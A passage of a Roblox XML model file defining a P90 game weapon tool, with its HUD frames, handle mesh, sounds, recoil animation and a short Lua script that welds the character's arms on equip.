				<Item class="Frame" referent="RBX5169">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">AmmoHud</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-60</YO>
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						<UDim2 name="Size">
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							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
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						<token name="SizeConstraint">0</token>
						<token name="Style">2</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
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						<Properties>
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							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ForwardSlash</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
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							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">/</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
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						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ClipAmmo</string>
							<UDim2 name="Position">
								<XS>0.449999988</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
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							<string name="Text">54</string>
							<Color3 name="TextColor3">4294967295</Color3>
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							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">1</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX5172">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
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							<Color3 name="BorderColor3">4279970357</Color3>
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							<token name="FontSize">7</token>
							<string name="Name">TotalAmmo</string>
							<UDim2 name="Position">
								<XS>0.550000012</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
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							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
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							<string name="Text">180</string>
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							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
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							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX5173">
					<Properties>
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						<Color3 name="BackgroundColor3">4278255360</Color3>
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						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Crosshair</string>
						<UDim2 name="Position">
							<XS>0</XS>
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							<YS>0</YS>
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						<UDim2 name="Size">
							<XS>0</XS>
							<XO>150</XO>
							<YS>0</YS>
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						<token name="SizeConstraint">0</token>
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							<bool name="Draggable">false</bool>
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							<UDim2 name="Position">
								<XS>0</XS>
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								<YS>-0.5</YS>
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					</Item>
					<Item class="ImageLabel" referent="RBX5177">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<Content name="Image"><url>http://www.roblox.com/asset/?id=115400215</url></Content>
							<string name="Name">TargetHitImage</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-25</XO>
								<YS>0</YS>
								<YO>-25</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>50</XO>
								<YS>0</YS>
								<YO>50</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX5178">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">6</token>
							<string name="Name">ReloadingLabel</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>20</XO>
								<YS>0</YS>
								<YO>-20</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Reloading</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
							<token name="TextYAlignment">2</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX5179">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">BottomFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX5180">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Reload</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-120</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">false</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX5181">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">7</token>
							<string name="Name">Reload</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Press R to Reload</string>
							<Color3 name="TextColor3">4294901760</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX5182">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>-0.200000003</X>
					<Y>-0.5</Y>
					<Z>-0.200000003</Z>
					<R00>-0.242574409</R00>
					<R01>0</R01>
					<R02>0.970132828</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0.970132828</R20>
					<R21>0</R21>
					<R22>-0.242574409</R22>
				</CoordinateFrame>
				<string name="Name">P90</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=122080105</url></Content>
				<string name="ToolTip">P90</string>
			</Properties>
			<Item class="Part" referent="RBX5183">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-17</X>
						<Y>-68.5999985</Y>
						<Z>30.1000004</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>2</X>
						<Y>1</Y>
						<Z>0.200000003</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX5184">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=11651603</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>0.109999999</X>
							<Y>0.109999999</Y>
							<Z>0.109999999</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5185">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">FireSound</string>
						<float name="Pitch">1.39999998</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=94125590</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5186">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Reload</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=95309699</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5187">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">EquipSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209881</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="PointLight" referent="RBX5188">
					<Properties>
						<float name="Brightness">1.5</float>
						<Color3 name="Color">4294967040</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Flash</string>
						<float name="Range">8</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5189">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Tick</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds//clickfast.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Animation" referent="RBX5190">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=94331086</url></Content>
					<string name="Name">Recoil</string>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX5191">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent

local arms = nil
local torso = nil
local welds = {}
local down = false

function Equip(mouse)
&#9;wait(0.01)
&#9;arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
&#9;torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = nil
&#9;&#9;&#9;&#9;sh[2].Part1 = nil
&#9;&#9;&#9;&#9;local weld1 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld1.Part0 = torso
&#9;&#9;&#9;&#9;weld1.Parent = torso
&#9;&#9;&#9;&#9;weld1.Part1 = arms[1]
&#9;&#9;&#9;&#9;weld1.C1 = CFrame.new(-.1, .8, .4) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(10), math.rad(-90))
&#9;&#9;&#9;&#9;welds[1] = weld1
&#9;&#9;&#9;&#9;local weld2 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld2.Part0 = torso
&#9;&#9;&#9;&#9;weld2.Parent = torso
&#9;&#9;&#9;&#9;weld2.Part1 = arms[2]
&#9;&#9;&#9;&#9;weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
&#9;&#9;&#9;&#9;welds[2] = weld2
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

function Unequip(mouse)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = arms[1]
&#9;&#9;&#9;&#9;sh[2].Part1 = arms[2]
&#9;&#9;&#9;&#9;welds[1].Parent = nil
&#9;&#9;&#9;&#9;welds[2].Parent = nil
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="ScreenGui" referent="RBX5192">
				<Properties>
					<string name="Name">WeaponHud</string>
				</Properties>
				<Item class="Frame" referent="RBX5193">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">AmmoHud</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-60</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">2</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX5194">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ForwardSlash</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">/</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX5195">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ClipAmmo</string>
							<UDim2 name="Position">
								<XS>0.449999988</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">54</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">1</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX5196">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">TotalAmmo</string>
							<UDim2 name="Position">
								<XS>0.550000012</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">180</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX5197">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4278255360</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Crosshair</string>
						<UDim2 name="Position">
							<XS>0</XS>
							<XO>500</XO>
							<YS>0</YS>
							<YO>500</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>150</XO>
							<YS>0</YS>
							<YO>150</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="Frame" referent="RBX5198">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">TopFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>-0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX5199">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">RightFrame</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>-7</XO>
								<YS>0</YS>
								<YO>-1</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>14</XO>
								<YS>0</YS>
								<YO>2</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX5200">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">LeftFrame</string>
							<UDim2 name="Position">
								<XS>-0.5</XS>
								<XO>-7</XO>
								<YS>0</YS>
								<YO>-1</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>14</XO>
								<YS>0</YS>
								<YO>2</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="ImageLabel" referent="RBX5201">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<Content name="Image"><url>http://www.roblox.com/asset/?id=115400215</url></Content>
							<string name="Name">TargetHitImage</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-25</XO>
								<YS>0</YS>
								<YO>-25</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>50</XO>
								<YS>0</YS>
								<YO>50</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX5202">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">6</token>
							<string name="Name">ReloadingLabel</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>20</XO>
								<YS>0</YS>
								<YO>-20</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Reloading</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
							<token name="TextYAlignment">2</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX5203">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">BottomFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX5204">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Reload</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-120</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">false</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX5205">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">7</token>
							<string name="Name">Reload</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Press R to Reload</string>
							<Color3 name="TextColor3">4294901760</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="LocalScript" referent="RBX5206">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">P90</string>
					<ProtectedString name="Source">--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName)
&#9;while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
&#9;return parent[childName]
end

